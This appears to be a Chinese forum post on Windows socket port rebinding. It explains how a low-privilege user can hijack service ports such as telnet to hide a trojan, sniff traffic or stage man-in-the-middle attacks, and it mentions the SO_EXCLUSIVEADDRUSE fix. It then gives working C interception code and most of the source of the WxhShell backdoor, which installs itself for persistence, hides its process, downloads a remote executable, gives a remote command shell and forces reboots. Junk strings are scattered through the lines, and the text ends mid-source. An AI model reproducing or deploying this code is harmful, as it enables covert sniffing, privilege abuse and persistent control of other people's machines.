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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: El3Y1g3+3  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5F#Q1gP-  
~s#vP<QHa  
  saddr.sin_family = AF_INET; wR)U&da`@  
tO0MYEx"  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); A 9 I5  
@'go?E)f  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 99GzhX_  
gXrPZ|iS  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 r_m*$r~f  
x+?P/Ckg  
  这意味着什么?意味着可以进行如下的攻击: Mf 7 Z5  
={HYwP;  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Lt\Wz'6Y  
5u(,g1s}UZ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) <1r#hFUUL  
Nqf6CPXE  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 m Mp(  
A1VbqA  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  l/(|rl#6  
BSe{HmDq  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 '@~\(SH  
\Y37wy4  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 m tPmVze  
cV=0)'&<`_  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 O+8]y4%5  
u"WqI[IV  
  #include "x;|li3;  
  #include 3aD\J_  
  #include 0l.\KF  
  #include    '/2u^&W  
  DWORD WINAPI ClientThread(LPVOID lpParam);   pDw^~5P  
  int main() BKd03s=  
  { X\\c=[#8-  
  WORD wVersionRequested; |f9fq~'1e  
  DWORD ret; 2P&KU%D)0s  
  WSADATA wsaData; J|$(O$hYy  
  BOOL val; 2[^p6s[  
  SOCKADDR_IN saddr; E=G"_ ^hCE  
  SOCKADDR_IN scaddr; Zo=w8Hr  
  int err; O,$ ?Pj6  
  SOCKET s; bl/tl_.p00  
  SOCKET sc; y(^hlX6gQ  
  int caddsize; O r {9?;G  
  HANDLE mt; #3fS_;G  
  DWORD tid;   6),U(e%  
  wVersionRequested = MAKEWORD( 2, 2 ); puv/+!q  
  err = WSAStartup( wVersionRequested, &wsaData ); =f{)!uW<4  
  if ( err != 0 ) { vKX6@eg"  
  printf("error!WSAStartup failed!\n"); R 4= ~  
  return -1; Z@Tb3N/[  
  } p#k>BHgnF  
  saddr.sin_family = AF_INET; gb_r <j:w  
   @;^7kt  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 |.asg  
o@o0V  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); V_1'` F  
  saddr.sin_port = htons(23); zO@7V>2  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .ty^k@J|]  
  { U};~ff+  
  printf("error!socket failed!\n"); "Uk "  
  return -1; F. N4Q'2Z  
  } ZvQ~K(3  
  val = TRUE; Iu3*`H  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 F<W`zQ46  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) :6N'%LKK  
  { h'QEwW  
  printf("error!setsockopt failed!\n"); d]fo>[%Xr  
  return -1; ")gd)_FOS  
  } GjHV|)^  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Qp]-:b  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -W6r.E$mC  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 EWU(Al T  
cx+li4v  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) y2_^lW%  
  { :)~idVlV  
  ret=GetLastError(); ,_G((oS40  
  printf("error!bind failed!\n"); QTy xx  
  return -1; /o/0 9K  
  } <'Ppu  
  listen(s,2); :J 7p=sX  
  while(1) ?PpGBm2f*  
  { Kuj*U'ed7t  
  caddsize = sizeof(scaddr); 7 3 Oo;  
  //接受连接请求 CrTGC%w{=  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1u%e7  
  if(sc!=INVALID_SOCKET) TB oN8cB}  
  { ~|FKl%  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); K3CTxU(  
  if(mt==NULL) ?zS t  
  { G $P|F6  
  printf("Thread Creat Failed!\n"); H#Aar  
  break; YtQsSU  
  } QH) uh"  
  } ~qjnV  
  CloseHandle(mt); 5O7 x4bY  
  } y4^w8'%MC  
  closesocket(s); \G+uK:PC,  
  WSACleanup(); =Wgz\uGJ  
  return 0; 31FQ=(K  
  }   #iZ%CY\  
  DWORD WINAPI ClientThread(LPVOID lpParam) ^Z6N&s#6  
  { $<]G#&F   
  SOCKET ss = (SOCKET)lpParam; C>A*L4c]F  
  SOCKET sc; _QS+{  
  unsigned char buf[4096]; @P$_2IU"  
  SOCKADDR_IN saddr; yjq~O~  
  long num; .lcI"%>  
  DWORD val; z 8w&;Ls  
  DWORD ret; =m+'orJ1  
  //如果是隐藏端口应用的话,可以在此处加一些判断 iJ7?6)\  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   + A=*C  
  saddr.sin_family = AF_INET; T#>1$0yv  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1");  e>FK5rz  
  saddr.sin_port = htons(23); ,hggmzA~  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Sz"rp9x+  
  { f0<'IgN  
  printf("error!socket failed!\n"); cb9ndZ)v.  
  return -1;  {[i 37DN  
  } D:r+3w:l]  
  val = 100; _ @U11|  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8M"0o}wx  
  { ?6m6 4{M  
  ret = GetLastError(); |q( .j4[i  
  return -1; 7,pn0,HI  
  } 0_A|K>7  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $@wTc  
  { o1dECLQa  
  ret = GetLastError(); C2Pw;iK_t  
  return -1; J7p'_\  
  } 0Ud.u  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2#^@awJ ?  
  { m\Xgvpv rP  
  printf("error!socket connect failed!\n"); Vk#wJ-  
  closesocket(sc); F$!K/Mm[  
  closesocket(ss); 9q4%s?)j  
  return -1; 3BSJ|o<"=  
  } QoU0>p+ 2  
  while(1) i6.HR?n  
  { 9"jhS0M  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 o'`:$ (  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ipIexv1/S  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 BS6UXAf{|Z  
  num = recv(ss,buf,4096,0); IpRdGT02  
  if(num>0) R _c! ,y  
  send(sc,buf,num,0); NDmTxW#g  
  else if(num==0) (B0tgg^jj,  
  break; AJ:(NV1=  
  num = recv(sc,buf,4096,0); 1pM"j!  
  if(num>0) WZ3GI l  
  send(ss,buf,num,0); A<+veqb4  
  else if(num==0) =/|2f; Q  
  break; U^xz>:~  
  } npJyVh47  
  closesocket(ss); 3Dm`8Xt  
  closesocket(sc); pKxq\U  
  return 0 ; )PU_'n=>  
  } l1EI4Y9KG  
+ROwk  
YyF=u~l  
========================================================== `u *:wJsv  
TsvF~Gdp  
下边附上一个代码,,WXhSHELL (;Ad:!9{  
)6k([u%;B  
========================================================== Ag6^>xb^  
E&wz0d;gf  
#include "stdafx.h" ^J[r<Dm8F  
{cW%i:  
#include <stdio.h> AMm)E  
#include <string.h> uxKj7!(#  
#include <windows.h> 6UXDIg=  
#include <winsock2.h> zj+.MG04  
#include <winsvc.h> q>E[)\+y  
#include <urlmon.h> "s6\l~+9l  
da,Bnze0  
#pragma comment (lib, "Ws2_32.lib") A:?|\r  
#pragma comment (lib, "urlmon.lib") y9#r SA*  
}3Mnq?.-  
#define MAX_USER   100 // 最大客户端连接数 j\uh]8N3<  
#define BUF_SOCK   200 // sock buffer OX  r%b  
#define KEY_BUFF   255 // 输入 buffer m! 3e>cI  
FthrI  
#define REBOOT     0   // 重启 h3<L,Olp  
#define SHUTDOWN   1   // 关机 -!C9x?gNY  
n'42CE  
#define DEF_PORT   5000 // 监听端口 5N_w(B  
zD9gE  
#define REG_LEN     16   // 注册表键长度 1h[xVvo<L  
#define SVC_LEN     80   // NT服务名长度 SFiK_;  
8(b C.  
// 从dll定义API KH~o0 W  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); qSg=[7XOO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4dgo*9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); aYBc)LCd  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }+F&=-P)  
s9p~  
// wxhshell配置信息 BKfkB[*F  
struct WSCFG { w|AHE  
  int ws_port;         // 监听端口 YIc|0[ ]*|  
  char ws_passstr[REG_LEN]; // 口令 8q5 `A Gl  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7@6B\':  
  char ws_regname[REG_LEN]; // 注册表键名 [2 yxTK  
  char ws_svcname[REG_LEN]; // 服务名 g9XAUZe  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /ta5d;@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @uJ^k >B  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 M(8Mj[>>Rj  
int ws_downexe;       // 下载执行标记, 1=yes 0=no h5do?b v!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" uDWxIP,m  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 oQS_rv\Ber  
3R=R k  
}; ~hk;OB;  
E;vF :?|  
// default Wxhshell configuration G""L1?  
struct WSCFG wscfg={DEF_PORT, a*g7uaoP  
    "xuhuanlingzhe", T0Kjnzs  
    1, naHQeX;  
    "Wxhshell", gl$Ks+o d  
    "Wxhshell", _>LI[yf{  
            "WxhShell Service", V(5=-8k  
    "Wrsky Windows CmdShell Service", P#ro;3S3y  
    "Please Input Your Password: ", keMfK ]9  
  1, WCpCWtmy  
  "http://www.wrsky.com/wxhshell.exe", 6~rO(  
  "Wxhshell.exe" \@K KX  
    }; XP |qY1  
H/I1n\  
// 消息定义模块 @|i f^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0YApaL+jt  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ny6 daf3f  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; iem@ K  
char *msg_ws_ext="\n\rExit."; 0]._|Ubn6)  
char *msg_ws_end="\n\rQuit."; 9eh9@~mU"l  
char *msg_ws_boot="\n\rReboot..."; Xe J|Z)qZ  
char *msg_ws_poff="\n\rShutdown..."; `-J$7)d@  
char *msg_ws_down="\n\rSave to "; ^G*zFqa+`  
9td[^EB#(h  
char *msg_ws_err="\n\rErr!"; \GFFPCi4 D  
char *msg_ws_ok="\n\rOK!"; j/Dc';,d.(  
p[&6hXTd  
char ExeFile[MAX_PATH]; ~dm/U7B:  
int nUser = 0; TA"4yri=7x  
HANDLE handles[MAX_USER]; kR1dk4I4  
int OsIsNt; K@0/iWm*  
uh8+Y%V p  
SERVICE_STATUS       serviceStatus; |vI1C5e  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \LI 2=J*  
KBO{ g:"  
// 函数声明 =ll{M{0Q]!  
int Install(void); rRK^vfoJ`  
int Uninstall(void); v6$ }saTX  
int DownloadFile(char *sURL, SOCKET wsh); "4,Zox{^  
int Boot(int flag); Jy?#@/~  
void HideProc(void); ]JUb;B;Z  
int GetOsVer(void); [/Figr]  
int Wxhshell(SOCKET wsl); DsI{*#  
void TalkWithClient(void *cs); M*xt9'Yd  
int CmdShell(SOCKET sock); pVGH)6P>|  
int StartFromService(void); _Cd_i[K[  
int StartWxhshell(LPSTR lpCmdLine); Tam\,j  
,]\:]Y&?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Vjc*D]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^-|yF2>`  
|*5QFp  
// 数据结构和表定义 "92Z"I~1  
SERVICE_TABLE_ENTRY DispatchTable[] = =D"H0w <zw  
{ 6 pQbh*  
{wscfg.ws_svcname, NTServiceMain}, 2o\GU  
{NULL, NULL} ENEnHu^  
}; pEn3:.l<  
.0eHP  
// 自我安装 cfg_xrW0^  
int Install(void) +1] xmnts  
{ ~nSGN%  
  char svExeFile[MAX_PATH]; !6 k{]v  
  HKEY key; uINm>$G,5  
  strcpy(svExeFile,ExeFile); } XJZw|n  
\i +=tGY  
// 如果是win9x系统,修改注册表设为自启动 Mb2rHUr  
if(!OsIsNt) { J(s%"d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 51Nh"JTy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u>cU*E4/  
  RegCloseKey(key); ^9ZW }AAO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3o>.Z;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |iJ+e -_R  
  RegCloseKey(key); !8#!P  
  return 0; 5ZPe=SQ{  
    } ;44?`[oP  
  } (_Ld^ ^|  
} S[_Hc$7U  
else { eL7rX"!  
sHr!GF  
// 如果是NT以上系统,安装为系统服务 * YhX6J1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8r 4 L4  
if (schSCManager!=0) qZ8 V/  
{ yzml4/X  
  SC_HANDLE schService = CreateService o (OC3  
  ( | gou#zi  
  schSCManager, 7T)J{:+0!|  
  wscfg.ws_svcname, pKM5<1J  
  wscfg.ws_svcdisp, w ,CZ*/^  
  SERVICE_ALL_ACCESS, IIW6;jS  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1 ^k#g,  
  SERVICE_AUTO_START, *"% MT:  
  SERVICE_ERROR_NORMAL, -XSu;'4q  
  svExeFile, 09RJc3XE9  
  NULL, #CM^f^*  
  NULL, j+p=ik  
  NULL, }g?9 /)z  
  NULL, wJb\Q  
  NULL A^a9,T  
  ); SAa hkX  
  if (schService!=0) #&hu-gMV  
  { ;zbF~5e  
  CloseServiceHandle(schService); LAoX'^6  
  CloseServiceHandle(schSCManager); gXR1nnK  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )$wX~k  
  strcat(svExeFile,wscfg.ws_svcname); g!k'tizYD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  mB:I8g7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 54A ndyeA  
  RegCloseKey(key); "I|[m%\  
  return 0; pFu3FUO*;  
    } h.\9a3B:r  
  } )I`6XG  
  CloseServiceHandle(schSCManager); <.d0GD`^  
} mh4NZ @;  
} #hBDOXHPf  
qP"<vZ  
return 1; /FZ@Z]Q0G  
} z]NN ^pIa  
y3 {om^ f  
// 自我卸载 Ve4!MM@ti  
int Uninstall(void) LZ@4,Uj  
{ SGU~LW&  
  HKEY key; d45JT?qg&  
?1I0VA']  
if(!OsIsNt) { R ks3L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h4xRRyK  
  RegDeleteValue(key,wscfg.ws_regname); C?FUc cI  
  RegCloseKey(key); #eqy!QdePf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8bB'[gJ]{  
  RegDeleteValue(key,wscfg.ws_regname); J% B(4`  
  RegCloseKey(key); 7[l "=  
  return 0; ~D4%7U"dv  
  } 0!n6tz lT  
} >^@/Ba$h  
} XK)qDg  
else { <tEN1i  
Ou _bM n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); && }'  
if (schSCManager!=0) /^E2BRI  
{ OG_2k3v  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); W*hRYgaX3  
  if (schService!=0) c%uX+\-$  
  { `]^JOw5o  
  if(DeleteService(schService)!=0) { eeuTf  
  CloseServiceHandle(schService); %#rH~E  
  CloseServiceHandle(schSCManager); 3N) bJ  
  return 0; +3 2"vq)_  
  } Og`6>?>97  
  CloseServiceHandle(schService); zL @ZNH  
  } pZ/aZg1Ld  
  CloseServiceHandle(schSCManager); S-"&#OfWg<  
} +_8*;k@F'  
} r@3VN~  
<Gy)|qpK[  
return 1; 0R,?$qM\  
} VP$`.y  
'm@0[i  
// 从指定url下载文件 "8Ud&o  
int DownloadFile(char *sURL, SOCKET wsh) Cwxy ~.mI  
{ Fz_SID  
  HRESULT hr; fPs' A  
char seps[]= "/"; "lo:"y(u  
char *token; ]@W.5!5H  
char *file; Uk u~"OGC  
char myURL[MAX_PATH]; @<ba+z>"~4  
char myFILE[MAX_PATH]; r/E;tm [\  
P9/5M4]tt  
strcpy(myURL,sURL); /q4<ZS#  
  token=strtok(myURL,seps); z?HP%g'M~  
  while(token!=NULL) D>u1ngu  
  { *dn~-W.  
    file=token; H|4O`I;~(  
  token=strtok(NULL,seps); ]q0mo1-EZ!  
  } 'H<0:bQ=I  
D7b<&D@  
GetCurrentDirectory(MAX_PATH,myFILE); :7t~p&J  
strcat(myFILE, "\\"); ?|8H|LBIr  
strcat(myFILE, file);  _2VL%  
  send(wsh,myFILE,strlen(myFILE),0); 3_W1)vd{  
send(wsh,"...",3,0); %aU4d e^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !M&L<0b:7e  
  if(hr==S_OK) TOo0rcl  
return 0; Kb~s'cTxIO  
else m}] bP  
return 1; O_#Ag K<A  
LL+ROX^M  
} >A#wvQl7   
u/e-m/  
// 系统电源模块 [XWY-q#Gg  
int Boot(int flag) (&4aebkZO  
{ #`5{?2gS9  
  HANDLE hToken; lzz rzx^  
  TOKEN_PRIVILEGES tkp; `1F[.DdF  
>&mlwxqv  
  if(OsIsNt) { cB U,!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); iN0gvjZ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]Cpd`}'  
    tkp.PrivilegeCount = 1; %EYh5 W  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; P SDzs\s  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); CUgXpU*  
if(flag==REBOOT) { G\S\Qe{P~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ngoo4}  
  return 0; O1pBr=+j+{  
} u+eA>{  
else { jk2h"):B>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $v?+X20  
  return 0; 0 !yvcviw  
} XJ~_FiB  
  } `y; s1nL  
  else {  H  
if(flag==REBOOT) { ~d :Z |8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) s7 IaU|m  
  return 0; 7pDov@K<{  
} h V@C|*A  
else { <JE-#i  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) TIbqUR  
  return 0; jW5n^Y)  
} sw{,l"]<  
} 76a+|TzR  
vr<6j/ty  
return 1; $}0q=Lg%wv  
} 60P^aj$V  
\x i wp.  
// win9x进程隐藏模块 `JyTS~v$  
void HideProc(void) uM,bO*/f  
{ ((wG K|d  
%-!ruc"}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); W8j)2nKD  
  if ( hKernel != NULL ) L DD^X@q  
  { OI"vC1.5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); d?(#NP#;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vdrV)^  
    FreeLibrary(hKernel); S~fQ8t70  
  } $e#p -z  
l\7NR  
return; '+ 1<7jl&I  
} B RF=TL5Z  
',k0 _n?t  
// 获取操作系统版本 K*Y.mM)  
int GetOsVer(void) :nYl]Rm  
{ }R:eKj  
  OSVERSIONINFO winfo; ^& ZlV  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1TbY,3W  
  GetVersionEx(&winfo); VyH'7_aU  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) y6ntGrZ}$  
  return 1; ^OKCvdS  
  else Szrr`.']  
  return 0; 8MgoAX,p  
} )tGeQXVhbJ  
u"r~5  
// 客户端句柄模块 pOQ'k>!  
int Wxhshell(SOCKET wsl) sJ)XoK syW  
{ ''S*B|:  
  SOCKET wsh; 4`5jq)  
  struct sockaddr_in client; Jr m<u t  
  DWORD myID; AVyO5>w  
v;" [1w}  
  while(nUser<MAX_USER) vt}+d StUm  
{ p ASNiH698  
  int nSize=sizeof(client); g#qt<d}j  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #y13(u,dN  
  if(wsh==INVALID_SOCKET) return 1; iLw O4i  
wvsKn YKX  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ub=g<MYHV  
if(handles[nUser]==0) Cw]& B  
  closesocket(wsh); /gT$d2{  
else hXdc5 ?i?  
  nUser++; _#xS1sD  
  } @Y+YN;57  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <wUDcF  
}N^.4HOS8  
  return 0; h}fz`ti U  
} ~F?s\kp6  
K.c6n,'  
// 关闭 socket 8<ZxE(v  
void CloseIt(SOCKET wsh) =!m5'$Uz>  
{ 57IAH$n8o  
closesocket(wsh); ^c3~CD5H 3  
nUser--; 6KPM4#61o  
ExitThread(0); :5hKE(3Q  
} '&,$"QXwE  
e eb`Ao  
// 客户端请求句柄 rtf\{u9 }g  
void TalkWithClient(void *cs) X[b=25Ct  
{ p x1y#Q  
3/V&PDC*'  
  SOCKET wsh=(SOCKET)cs; .w3.zZ0[  
  char pwd[SVC_LEN]; 9 lE[oAC  
  char cmd[KEY_BUFF]; lR[[]Yn  
char chr[1]; "mc/fp  
int i,j; @~% R%Vu  
9,\b$?9  
  while (nUser < MAX_USER) { |D<J9+  
~*RG|4#  
if(wscfg.ws_passstr) { ]b!o(5m  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B}_*0D  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0A\OZ^P8  
  //ZeroMemory(pwd,KEY_BUFF); yi*)g0M  
      i=0; wJM})O%SQ  
  while(i<SVC_LEN) { TUoEk  
1o\P7P Le  
  // 设置超时 asqbLtQ  
  fd_set FdRead; ,>lOmyh  
  struct timeval TimeOut; j\& `  
  FD_ZERO(&FdRead); *4#)or  
  FD_SET(wsh,&FdRead); ,.[T]37  
  TimeOut.tv_sec=8; ;Ak<O[  
  TimeOut.tv_usec=0; p`:hY`P  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); b,"gBg  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {]1o($.u  
Yl%1e|WV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mne4uW  
  pwd=chr[0]; >+y[HTf-  
  if(chr[0]==0xd || chr[0]==0xa) { rZ`ob x\S  
  pwd=0; *TQXE:vZ[  
  break; 0o~? ]C  
  } KDr?<"2L  
  i++; 9TRS#iVL+*  
    } -N;$L~`iAt  
l&l&e OE  
  // 如果是非法用户,关闭 socket UFBggT\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); SV#$Cf g  
}  734)s  
4ti\;55{W  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X!Ag7^E  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P{j2'gg3  
g&eIfm  
while(1) { i]&C=X  
Zp@j*P  
  ZeroMemory(cmd,KEY_BUFF); As0E'n85  
D^ZG-WR  
      // 自动支持客户端 telnet标准   ;hb;%<xqT  
  j=0; ggQ/_F8u  
  while(j<KEY_BUFF) { Vg'vL[Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZXV_Dc   
  cmd[j]=chr[0]; 5{nERKaPf  
  if(chr[0]==0xa || chr[0]==0xd) { |#9Nu9ak  
  cmd[j]=0; C(-wA  
  break; r >bMx~a]  
  } ;NNYJqWd^]  
  j++; FOJ-?s(  
    } &?N1-?BjM  
hG~4i:p <  
  // 下载文件 d-/{@   
  if(strstr(cmd,"http://")) { ZlQ@k{Es~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;f,`T  
  if(DownloadFile(cmd,wsh)) Xc"l')1H  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); MLwh&I9)  
  else i) v ]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {8+FxmH  
  } ROcI.tL  
  else { fA"N5qQI(  
O@.C.5Ep  
    switch(cmd[0]) { x(oL\I_Z  
  to9~l"n.s  
  // 帮助 !p$HS0c  
  case '?': { nE.w  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4WCWu}  
    break; dH:z _$Mg  
  } yOR]r+8  
  // 安装 b(^/WCykH  
  case 'i': { #dy z  
    if(Install()) ED0\k $  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "#zSk=52z  
    else y!_*CYZ~m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S,ZlS<Z#  
    break; MLD1%* &0  
    } I`hltJM'  
  // 卸载 s Dq{h  
  case 'r': { 7{jB!Xj  
    if(Uninstall()) 2to~=/.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jr|"QRC  
    else ~,#zdm1r@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l0Rjq*5hJ  
    break; %f[0&)1!.v  
    } TCShS}q;%  
  // 显示 wxhshell 所在路径 eCejO59F9  
  case 'p': { 'T=$Q%Qv  
    char svExeFile[MAX_PATH]; GD(gm, ,)  
    strcpy(svExeFile,"\n\r"); x=-dv8N?  
      strcat(svExeFile,ExeFile); 6.#5Ra   
        send(wsh,svExeFile,strlen(svExeFile),0); B%y?+4;zA  
    break; pXn(#n<  
    } %[3?vX  
  // 重启 HC1jN8WDY  
  case 'b': { 117`=9F  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *xHj*  
    if(Boot(REBOOT)) =AaTn::e/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q\H1=8  
    else { '7BJ.  
    closesocket(wsh); /hrVnki*  
    ExitThread(0); *[XVkt`H  
    } _#f+@)vR  
    break; `)i'1E[9  
    } Y dgDMd-1  
  // 关机 pI>yO~Ve  
  case 'd': { ^7b[s pqE  
